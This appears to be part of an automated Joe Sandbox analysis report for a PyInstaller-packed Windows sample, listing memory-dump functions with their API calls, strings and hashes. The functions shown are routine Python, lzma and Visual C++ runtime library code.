Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction ID: 41f2051c5beebed55413ace6f294a047302673919fb108bd8f297b157899db18
Opcode Fuzzy Hash: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction Fuzzy Hash: 92213C21A096C282F710BB10E5152EAA6A0FF88780FC44235EA7D53BD6EF3CD805C7E0

Function 00007FF7FF59B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B347
FlsSetValue.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B37D
FlsSetValue.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B3AA
FlsSetValue.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B3BB
FlsSetValue.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B3CC
SetLastError.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B3E7

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 508bc4e8de0e80a19cd6daf9ed8871fa40715e6eab000f8b832e18dd1cfec2a0
Instruction ID: 8a73e7bb8976d04809ad3fe8a4c7c1b5a068a81604ddb3850d1a07ef3e2e945e
Opcode Fuzzy Hash: 508bc4e8de0e80a19cd6daf9ed8871fa40715e6eab000f8b832e18dd1cfec2a0
Instruction Fuzzy Hash: E6116A24A0D6D692FB6CB32156811BDE2865F447A0FD48338E93E477EADE2CE50183A0

Function 00007FFBBB6103F8 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

PyLong_FromUnsignedLongLong.PYTHON313(?,?,?,00007FFBBB6102F5,?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB610410
PyUnicode_InternFromString.PYTHON313(?,?,?,00007FFBBB6102F5,?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB610421
PyDict_SetItem.PYTHON313(?,?,?,00007FFBBB6102F5,?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB61043C
_Py_Dealloc.PYTHON313(?,?,?,00007FFBBB6102F5,?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB6155EE
_Py_Dealloc.PYTHON313(?,?,?,00007FFBBB6102F5,?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB615607

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocFromLong$Dict_InternItemLong_StringUnicode_Unsigned
String ID:
API String ID: 252187852-0
Opcode ID: cff6a4c6c921c4aa18eb5cea96de9df1f51ffc9f636274f994427a340c938c1a
Instruction ID: 84732fc2194cff1de14ea519d2bd8335d19dedbd95af22d9753f82fd826c1d59
Opcode Fuzzy Hash: cff6a4c6c921c4aa18eb5cea96de9df1f51ffc9f636274f994427a340c938c1a
Instruction Fuzzy Hash: E211EFA2D1C642C5EA294B3AED55238B294FF49B91F04A130DB0F56AB5DF6CD8818309

Function 00007FFBBCD42604 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

EncodePointer.KERNEL32 ref: 00007FFBBCD42674
_CallSETranslator.LIBVCRUNTIME ref: 00007FFBBCD426BF
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD428F2

Strings

MOC, xrefs: 00007FFBBCD42688
RCC, xrefs: 00007FFBBCD42690

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: d60a8ffad84e6f064a5763a2c166d11077ba1814d2ca81799213d95430020a2c
Instruction ID: 32a04d07e8fc886709efd6009a1a07d89ad0c63303fa4733b205377288bd1102
Opcode Fuzzy Hash: d60a8ffad84e6f064a5763a2c166d11077ba1814d2ca81799213d95430020a2c
Instruction Fuzzy Hash: 4691AFF7B087828AE710DB78E4442AD7BA0FB44788F14412AEB8D17B55DF38D195CB04

Function 00007FFBBCD4ADD0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B070

Strings

volatile , xrefs: 00007FFBBCD4AE37, 00007FFBBCD4AF68
volatile, xrefs: 00007FFBBCD4AE46, 00007FFBBCD4AF77
std::nullptr_t , xrefs: 00007FFBBCD4B000
std::nullptr_t, xrefs: 00007FFBBCD4B029

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2943138195-757766384
Opcode ID: 130e2d842e8b7dca47c2836e89f717505be4afbf408c40d13b3259f38f6b460e
Instruction ID: 2af6ef62481aaa30c42dccf6a0a752c540425fa3aecc534c12a8c9be662f946e
Opcode Fuzzy Hash: 130e2d842e8b7dca47c2836e89f717505be4afbf408c40d13b3259f38f6b460e
Instruction Fuzzy Hash: 657145FAB08A4298FB14CB79D8481BC77A4FB15784F884635DB6D02A98DF3CE561C708

Function 00007FFBBCD42DB0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBBCD42DDA

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD42F2F

Strings

csm, xrefs: 00007FFBBCD42F69
csm, xrefs: 00007FFBBCD42DFF
, xrefs: 00007FFBBCD42E80

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: abort$__except_validate_context_record
String ID: $csm$csm
API String ID: 3000080923-1512788406
Opcode ID: 53f907965be1a88a6fd5fb15d1f71a23af454141565bf2445c328556a8274992
Instruction ID: 09a4c621daa88f0d8215c96974141ba64765c7cb065af55a85db550c4cda9673
Opcode Fuzzy Hash: 53f907965be1a88a6fd5fb15d1f71a23af454141565bf2445c328556a8274992
Instruction Fuzzy Hash: 40719EFAB0868186DB61CF3AD4487B97BA0EB04B96F548135EB4D57A89CF2CD491C708

Function 00007FFBBCD42B88 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBBCD42BB0

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD42C7F
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFBBCD42C8F

Strings

csm, xrefs: 00007FFBBCD42CE1
csm, xrefs: 00007FFBBCD42BD2

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Frameabort$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 1245442199-3733052814
Opcode ID: 20a4f0483044e05ead07b9216d24a097e489e06d9183abde2aaa2290edabb471
Instruction ID: ee87a2ba27888e8e2c9aa27c9da56bf77eb84c3d5c69345c1538a8cbd4db377f
Opcode Fuzzy Hash: 20a4f0483044e05ead07b9216d24a097e489e06d9183abde2aaa2290edabb471
Instruction Fuzzy Hash: 1B617CFAB082828AEB64CF39D44836877A0EB54B96F144135DB9D83B95CF7CE491C709

Function 00007FFBBCD42394 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

EncodePointer.KERNEL32 ref: 00007FFBBCD423F3
_CallSETranslator.LIBVCRUNTIME ref: 00007FFBBCD4243F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD425FB

Strings

MOC, xrefs: 00007FFBBCD42407
RCC, xrefs: 00007FFBBCD4240F

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 9aa894c3c893ab74ee705d7221e0eb3435fed3f33ad5ca95d206f26215c5ec13
Instruction ID: 8d2561718064e4dbda3ac022c0e77f5a310d2435d17a65db3916f619199ce056
Opcode Fuzzy Hash: 9aa894c3c893ab74ee705d7221e0eb3435fed3f33ad5ca95d206f26215c5ec13
Instruction Fuzzy Hash: 5761A1B6B08BC581E720CF29E4443AAB7A0FB94B94F044225EB8C53B99DF7CD190CB04

Function 00007FFBBCD442F0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 135COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFBBCD443C2

Strings

csm, xrefs: 00007FFBBCD44352
csm, xrefs: 00007FFBBCD4447F
MOC, xrefs: 00007FFBBCD44330
RCC, xrefs: 00007FFBBCD4433C

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: FileHeader
String ID: MOC$RCC$csm$csm
API String ID: 104395404-1441736206
Opcode ID: cc2941d08898c29ec0b938c5700553895786508ed6a70616e0c5efaebfc34f81
Instruction ID: 2e2d946daf96354ac0cc91f5ccb6e3bcacea041ad790b1b1f5471a70bf2fbb6d
Opcode Fuzzy Hash: cc2941d08898c29ec0b938c5700553895786508ed6a70616e0c5efaebfc34f81
Instruction Fuzzy Hash: 475178FAB0968287EA60DF39D15813A27A0FF44B94F044139EF8D57795DF3CE8A18609

Function 00007FFBBB6339F8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

combined CRCs: stored = 0x%08x, computed = 0x%08x, xrefs: 00007FFBBB63B905
{0x%08x, 0x%08x}, xrefs: 00007FFBBB63B8B1

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID: combined CRCs: stored = 0x%08x, computed = 0x%08x$ {0x%08x, 0x%08x}
API String ID: 0-2474432645
Opcode ID: e53ea50466aa9b22fc735f0e332c3c90fe13b21c106dd576f877e05a55725f8c
Instruction ID: 637bbb874a788c8a4ba45acb514a7178721c811ccb6474c24f5d323a2d2054e3
Opcode Fuzzy Hash: e53ea50466aa9b22fc735f0e332c3c90fe13b21c106dd576f877e05a55725f8c
Instruction Fuzzy Hash: E4415EB3E0854286EB648B3CD85167CA294FB45B58F189235DB0F8B2E5DE7CAC41C718

Function 00007FF7FF582910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7FF581B6A), ref: 00007FF7FF58295E

Strings

[PYI-%d:ERROR] , xrefs: 00007FF7FF582966
Error, xrefs: 00007FF7FF582A0E
Error [ANSI Fallback], xrefs: 00007FF7FF5829FF
%s: %s, xrefs: 00007FF7FF5829E8

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: 42dd674dd24792ac39509d55fb4ee60895bc35c055690b4fa890fb0b15b52b89
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: D331F822B196C152EB20B761B8416E6A694BF887D4F800231EEBD83795EF7CD546C790

Function 00007FFBBB6104F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

PySequence_Size.PYTHON313(00000000,00000000,00007FFBAADC81F0,00007FFBBB6104A0), ref: 00007FFBBB610515
PySequence_GetItem.PYTHON313 ref: 00007FFBBB610548

Part of subcall function 00007FFBBB6105D4: PyMapping_Check.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB6105EC
Part of subcall function 00007FFBBB6105D4: PyMapping_GetOptionalItemString.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB61060B
Part of subcall function 00007FFBBB6105D4: PyLong_AsUnsignedLongLong.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB610627
Part of subcall function 00007FFBBB6105D4: PyErr_Occurred.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB610643

PyErr_Format.PYTHON313 ref: 00007FFBBB615639

Strings

Too many filters - liblzma supports a maximum of %d, xrefs: 00007FFBBB615629

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_ItemLongMapping_Sequence_$CheckFormatLong_OccurredOptionalSizeStringUnsigned
String ID: Too many filters - liblzma supports a maximum of %d
API String ID: 2761522206-2617632755
Opcode ID: 1c904a72a4fd53edba76b9fdc25c7159333992813b3e46335f3bbba8fb89e293
Instruction ID: 570e24a109d9a710be7fbce90f74e6e55e21b9ee1955f37340c872ac68a04208
Opcode Fuzzy Hash: 1c904a72a4fd53edba76b9fdc25c7159333992813b3e46335f3bbba8fb89e293
Instruction Fuzzy Hash: 4A214FA1E0960249EA549A3AEE05175B650BB45BF4F14E731EF3F466F1DE3CE8418308

Function 00007FF7FF582390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7FF5823C8
DialogBoxIndirectParamW.USER32 ref: 00007FF7FF58248E
DeleteObject.GDI32 ref: 00007FF7FF5824C1
DestroyIcon.USER32 ref: 00007FF7FF5824D3

Strings

Unhandled exception in script, xrefs: 00007FF7FF5823F8

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1d12e5fd0a1cbb3074b4bf47f9af303a8c6acd8ffc361fc9321cf3165f3dca45
Instruction ID: e80e6ccd7687d2ee56b7cac09bab08abe4f8a49e2eae157f4c834f43a8af26d4
Opcode Fuzzy Hash: 1d12e5fd0a1cbb3074b4bf47f9af303a8c6acd8ffc361fc9321cf3165f3dca45
Instruction Fuzzy Hash: 2D318672609AC289EB24EF61F8552F9A760FF89784F840235EA6D47B95DF3CD101C790

Function 00007FFBBB611B1C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON313 ref: 00007FFBBB611B72
PyErr_Format.PYTHON313 ref: 00007FFBBB6159F2

Strings

Invalid compression preset: %u, xrefs: 00007FFBBB6159E8
Invalid filter chain for FORMAT_ALONE - must be a single LZMA1 filter, xrefs: 00007FFBBB615A45

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_$FormatOccurred
String ID: Invalid compression preset: %u$Invalid filter chain for FORMAT_ALONE - must be a single LZMA1 filter
API String ID: 4038069558-4068623215
Opcode ID: ba08bee32d3df14b21647ff01dcbdff88e72d6a4aa53834d0e24541db547eaa9
Instruction ID: c02e9fefbcf80eecd5a1c248a13193224cece82b4d6189eeaa9056849214a154
Opcode Fuzzy Hash: ba08bee32d3df14b21647ff01dcbdff88e72d6a4aa53834d0e24541db547eaa9
Instruction Fuzzy Hash: DF212191A18A4641EA609B3DEC81379B250FF89BA4F50E231DB5F466F5EE2CDD058704

Function 00007FF7FF582B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF7FF58918F,?,00007FF7FF583C55), ref: 00007FF7FF582BA0
MessageBoxW.USER32 ref: 00007FF7FF582C2A

Strings

Warning, xrefs: 00007FF7FF582C1D
WARNING, xrefs: 00007FF7FF582BAF
[PYI-%d:%ls] , xrefs: 00007FF7FF582BA8

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: f4714e97318661e080f529a998005d688af2b1446776263923478a69a62d1afc
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: B021E562709B8192E710AB14F8447EAB7A4FB887C0F800232EEAD57795DF3CD215C790

Function 00007FF7FF582710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF7FF581B99), ref: 00007FF7FF582760

Strings

[PYI-%d:%s] , xrefs: 00007FF7FF582768
Error, xrefs: 00007FF7FF5827DE
Error [ANSI Fallback], xrefs: 00007FF7FF5827CF
ERROR, xrefs: 00007FF7FF58276F

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
